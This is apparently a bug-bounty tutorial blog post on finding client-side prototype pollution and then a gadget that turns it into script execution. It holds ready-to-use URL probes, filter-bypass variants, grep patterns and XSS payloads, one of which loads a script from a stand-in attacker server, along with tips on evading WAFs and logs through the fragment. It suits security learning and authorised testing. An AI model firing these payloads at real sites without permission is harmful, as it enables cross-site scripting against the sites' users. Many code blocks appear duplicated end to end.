September 12, 2026
Client-Side Prototype Pollution: Find the Source, Then Find the Gadget
Pollution alone is not a bug. Pollution plus a gadget is a critical. Here is how to find the second half.

By Nitin yadav
7 min read
Hello, I am Nitin.
Day twelve. Yesterday you learned to overwrite one variable using HTML. Today you learn to set a property on every object in the page at once.
That sounds dramatic. It is, and the reason people still miss it is that the first half is easy and the second half is where everyone gives up. I am going to spend most of this post on the second half, because that is where the bounty is.
Here is the honest summary before we start: finding pollution takes about five minutes. Finding a gadget takes the real work. A report that says "I can pollute the prototype" and stops there gets closed as informational on most programs, and correctly so. A report that says "I can pollute the prototype, and here is script execution in your origin because of it" is a high or a critical.
So the goal today is the whole chain, not the primitive.
Two minutes on why this works
Every JavaScript object inherits from a prototype. When you read a property that an object does not have, the engine walks up the prototype chain looking for it.
Paste this in any console:
const a = {};
console.log(a.nitntest); // undefined
Object.prototype.nitntest = 'polluted';
console.log(a.nitntest); // 'polluted'
console.log({}.nitntest); // 'polluted' โ a brand new object
console.log([].nitntest); // 'polluted' โ even an arrayconst a = {};
console.log(a.nitntest); // undefined
Object.prototype.nitntest = 'polluted';
console.log(a.nitntest); // 'polluted'
console.log({}.nitntest); // 'polluted' โ a brand new object
console.log([].nitntest); // 'polluted' โ even an arrayYou set one property and every object in the page now answers to it, including objects that do not exist yet.
Now the attack. __proto__ is an accessor that points at an object's prototype. So if application code copies attacker-controlled keys into an object without filtering, writing to a key named __proto__ writes to Object.prototype itself:
// a typical unsafe deep merge
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === 'object' && typeof target[key] === 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key]; // no check on key name
}
}
}
merge({}, JSON.parse('{"__proto__": {"nitntest": "polluted"}}'));
console.log({}.nitntest); // 'polluted'// a typical unsafe deep merge
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === 'object' && typeof target[key] === 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key]; // no check on key name
}
}
}
merge({}, JSON.parse('{"__proto__": {"nitntest": "polluted"}}'));
console.log({}.nitntest); // 'polluted'That function looks completely reasonable. Versions of it exist in thousands of codebases.
Step one: find the pollution source, in five minutes
The source is any code that copies attacker-controlled keys into an object. On the client, it is almost always one of these:
- A URL query-string parser that builds a nested object from parameters
- A deep merge, extend, or clone function, hand-rolled or from a library
- A path setter that takes a dotted string and writes into an object
- JSON parsed from the fragment, storage, or a cross-window message, then merged into config
The fastest live test
Open the target page and put your pollution attempt in the URL. Try all of these, one at a time, and after each one check the console:
<https://target.com/page?__proto__[nitntest]=polluted>
<https://target.com/page?__proto__.nitntest=polluted>
<https://target.com/page?constructor[prototype][nitntest]=polluted>
<https://target.com/page#__proto__[nitntest]=polluted>
<https://target.com/page#constructor.prototype.nitntest=polluted><https://target.com/page?__proto__[nitntest]=polluted>
<https://target.com/page?__proto__.nitntest=polluted>
<https://target.com/page?constructor[prototype][nitntest]=polluted>
<https://target.com/page#__proto__[nitntest]=polluted>
<https://target.com/page#constructor.prototype.nitntest=polluted>Then in the console:
({}).nitntest({}).nitntestIf that returns polluted instead of undefined, you have found client-side prototype pollution. That is genuinely the whole test.
Try the fragment versions as well as the query versions. Remember from day eight that fragment payloads never reach the server, which means no WAF and no logs. If both work, use the fragment in your final proof of concept and say so in the report.
Why try constructor[prototype] too
Many defences blocklist the string __proto__ specifically and forget that constructor.prototype reaches the same object. Always test both. Also test these variants when a filter is clearly present:
?__proto__[x]=1 standard
?constructor[prototype][x]=1 the bypass everyone forgets
?__pro__proto__to__[x]=1 defeats a single non-recursive strip
?%5f%5fproto%5f%5f[x]=1 URL-encoded?__proto__[x]=1 standard
?constructor[prototype][x]=1 the bypass everyone forgets
?__pro__proto__to__[x]=1 defeats a single non-recursive strip
?%5f%5fproto%5f%5f[x]=1 URL-encodedThat third one is worth understanding: if the filter removes the literal string once and does not re-scan, removing the inner occurrence reassembles the outer one. Same trick as any single-pass replacement filter.
The grep, for when the URL test fails
# hand-rolled merges and path setters
grep -rnE "function\s+(merge|extend|deepMerge|deepExtend|assign|clone|setPath|set)\s*\(" pretty/
grep -rnE "for\s*\(\s*(var|let|const)?\s*[a-zA-Z_$]+\s+in\s+" pretty/
# libraries with a history here
grep -rlnE "lodash|jquery|deepmerge|qs\.parse|query-string|deep-extend" pretty/
# the fragment or query being parsed into an object
grep -rnE "location\.(hash|search)[^;]{0,80}(split|replace|parse)" pretty/# hand-rolled merges and path setters
grep -rnE "function\s+(merge|extend|deepMerge|deepExtend|assign|clone|setPath|set)\s*\(" pretty/
grep -rnE "for\s*\(\s*(var|let|const)?\s*[a-zA-Z_$]+\s+in\s+" pretty/
# libraries with a history here
grep -rlnE "lodash|jquery|deepmerge|qs\.parse|query-string|deep-extend" pretty/
# the fragment or query being parsed into an object
grep -rnE "location\.(hash|search)[^;]{0,80}(split|replace|parse)" pretty/Beginner shortcut. Burp's DOM Invader has a prototype pollution mode that both finds sources automatically and then scans for gadgets. Turn it on, browse the target, and read the results. It is the single fastest way to land your first one of these. Verify by hand afterwards so you can explain the chain in the report.
Step two: find the gadget, which is the actual job
You can now set any property on every object. Useless on its own. You need code that reads a property it expects to be absent, and does something dangerous with the value.
That is the same gadget-hunting skill as yesterday, and the same code shapes qualify:
// Shape A: options fallback โ by far the most common
function init(opts) {
opts = opts || {};
const url = opts.scriptUrl || '/default.js'; // pollute scriptUrl
loadScript(url);
}
init(); // called with nothing
// Shape B: config spread with a missing key
const settings = { ...defaults, ...userPrefs }; // pollute any key neither defines
// Shape C: feature check
if (config.debug) { eval(config.debugCode); } // pollute both
// Shape D: template or html option
render(el, { template: opts.template }); // pollute template// Shape A: options fallback โ by far the most common
function init(opts) {
opts = opts || {};
const url = opts.scriptUrl || '/default.js'; // pollute scriptUrl
loadScript(url);
}
init(); // called with nothing
// Shape B: config spread with a missing key
const settings = { ...defaults, ...userPrefs }; // pollute any key neither defines
// Shape C: feature check
if (config.debug) { eval(config.debugCode); } // pollute both
// Shape D: template or html option
render(el, { template: opts.template }); // pollute templateThe greps that find gadgets
# the fallback idiom, richest source
grep -rnE "[a-zA-Z_$][a-zA-Z0-9_$]*\.[a-zA-Z_$][a-zA-Z0-9_$]*\s*\|\|" pretty/
# properties whose names suggest they reach a sink
grep -rnE "\.(src|url|href|scriptUrl|baseUrl|endpoint|template|html|content|callback|handler|onload|action|target|method|type)\b" pretty/
# spread and assign, where a missing key is inherited
grep -rnE "Object\.assign\(|\.\.\.[a-zA-Z_$]" pretty/# the fallback idiom, richest source
grep -rnE "[a-zA-Z_$][a-zA-Z0-9_$]*\.[a-zA-Z_$][a-zA-Z0-9_$]*\s*\|\|" pretty/
# properties whose names suggest they reach a sink
grep -rnE "\.(src|url|href|scriptUrl|baseUrl|endpoint|template|html|content|callback|handler|onload|action|target|method|type)\b" pretty/
# spread and assign, where a missing key is inherited
grep -rnE "Object\.assign\(|\.\.\.[a-zA-Z_$]" pretty/The known-library shortcut
Before hunting manually, work out which libraries the page loads. Many popular libraries have publicly documented gadgets, and if the target uses one, someone has already done the hard part for you.
// in the console, on the target page
Object.keys(window).filter(k => /^[A-Z_$]/.test(k)).slice(0, 60)// in the console, on the target page
Object.keys(window).filter(k => /^[A-Z_$]/.test(k)).slice(0, 60)Then look up known prototype pollution gadgets for whatever you find. The client-side gadget research published by PortSwigger and collected in community gadget lists covers a lot of common libraries, and checking a list takes two minutes against hours of manual reading.
The universal probes
Some property names are read by so much code that they are worth trying blindly. Pollute each and reload:
?__proto__[src]=data:,alert(document.domain)//
?__proto__[url]=https://your-server.example/x.js
?__proto__[html]=<img src=x onerror=alert(document.domain)>
?__proto__[template]=<img src=x onerror=alert(document.domain)>
?__proto__[value]=<img src=x onerror=alert(document.domain)>
?__proto__[innerHTML]=<img src=x onerror=alert(document.domain)>
?__proto__[onload]=alert(document.domain)
?__proto__[className]=x
?__proto__[id]=x?__proto__[src]=data:,alert(document.domain)//
?__proto__[url]=https://your-server.example/x.js
?__proto__[html]=<img src=x onerror=alert(document.domain)>
?__proto__[template]=<img src=x onerror=alert(document.domain)>
?__proto__[value]=<img src=x onerror=alert(document.domain)>
?__proto__[innerHTML]=<img src=x onerror=alert(document.domain)>
?__proto__[onload]=alert(document.domain)
?__proto__[className]=x
?__proto__[id]=xThe src and url ones are the highest value because a polluted script source gives you full execution from your own host, which is the cleanest possible proof.
Fire each, reload, and watch two things: your own server logs for an inbound request, and the page for an alert. Watching your server log is the part beginners forget, and it is often where the first signal appears.
The full workflow, in order
Follow this literally on your next target.
One. Load the target with ?__proto__[nitntest]=polluted appended. Check ({}).nitntest in the console.
Two. If nothing, try the fragment version, then the constructor[prototype] version, then the encoded and doubled variants.
Three. Still nothing? The source may be in a merge fed by storage or a message rather than the URL. Run the merge grep and read those functions.
Four. Once pollution is confirmed, write down exactly which URL produced it. You will need it for every gadget attempt and for the report.
Five. Turn on DOM Invader's gadget scan and let it run while you enumerate the page's libraries manually.
Six. Fire the universal probes, one per reload, watching the console and your server log.
Seven. If none land, run the fallback grep against the bundles for that specific page and read the top twenty hits.
Eight. When a gadget fires, minimise it: the smallest URL that produces execution. Then confirm in a clean browser profile with no extensions.
Nine. Screenshot the URL bar and the alert together, plus your server log line if a script was fetched.
Timing, the thing that causes false negatives
Pollution must happen before the gadget reads the property. If your payload is in the query string and the parsing code runs early, that is usually fine. But if the gadget runs at page load and your pollution comes from a later interaction, nothing happens and you wrongly conclude there is no gadget.
Two fixes:
- Reload the page with the payload already in the URL, rather than polluting after load.
- If the gadget runs on a specific interaction (opening a modal, switching a tab), pollute first, then perform that interaction.
Similarly, some single-page apps parse the URL once on first load only. Navigating client-side to the URL will not re-trigger it โ force a full reload.
Impact ladder
- Informational โ pollution confirmed, no gadget. Report it, briefly, and be honest that you did not find impact. Many programs will pay nothing. That is fair.
- Low โ pollution causes a client-side denial of service. Polluting a property that breaks rendering will crash the page. Real but minor.
- Medium โ pollution changes application behaviour in a security-relevant way without full execution, such as flipping a client-side check.
- High โ a gadget gives script execution in the origin. This is XSS with all the usual consequences, and it frequently bypasses CSP if the gadget loads from an already-allowed host.
- Critical โ the same, plus the pollution source is stored or reachable without a crafted URL, so it fires for other users without a link.
Two things to state explicitly in the report, because they raise severity and are often missed by triage: whether the payload was in the fragment (invisible to server-side defences and logs), and whether the gadget bypassed their CSP by loading from a trusted host.
Conclusion โ steal this checklist
- One property write reaches every object in the page, including objects that do not exist yet.
- Finding the source takes five minutes. Finding the gadget is the actual work, and it is what separates informational from critical.
- Test the source by appending the pollution parameter and checking a probe property in the console. That is the entire detection method.
- Always try the fragment as well as the query. Fragment payloads are invisible to WAFs and absent from logs, and that raises severity.
- Always try
constructor[prototype]โ many filters block only the obvious property name. - Against single-pass filters, the doubled-and-nested form reassembles after the strip.
- Gadgets look exactly like yesterday's clobbering gadgets: a property read that falls back or is trusted.
- Enumerate the page's libraries first and check published gadget lists before reading code by hand.
- Fire the universal probes โ
src,url,html,template,innerHTMLโ one per reload. - Watch your own server log, not just the page. That is often where the first signal shows up.
- Pollute before the gadget runs. Reload with the payload in the URL rather than polluting afterwards.
- Report the full chain: source, URL, gadget location, sink. Half a chain gets closed.
Tomorrow: exotic sources โ window.name, history state, storage, and the input channels that no server-side control can ever inspect.
If you Love reading my blogs. Check my Youtube Channel too.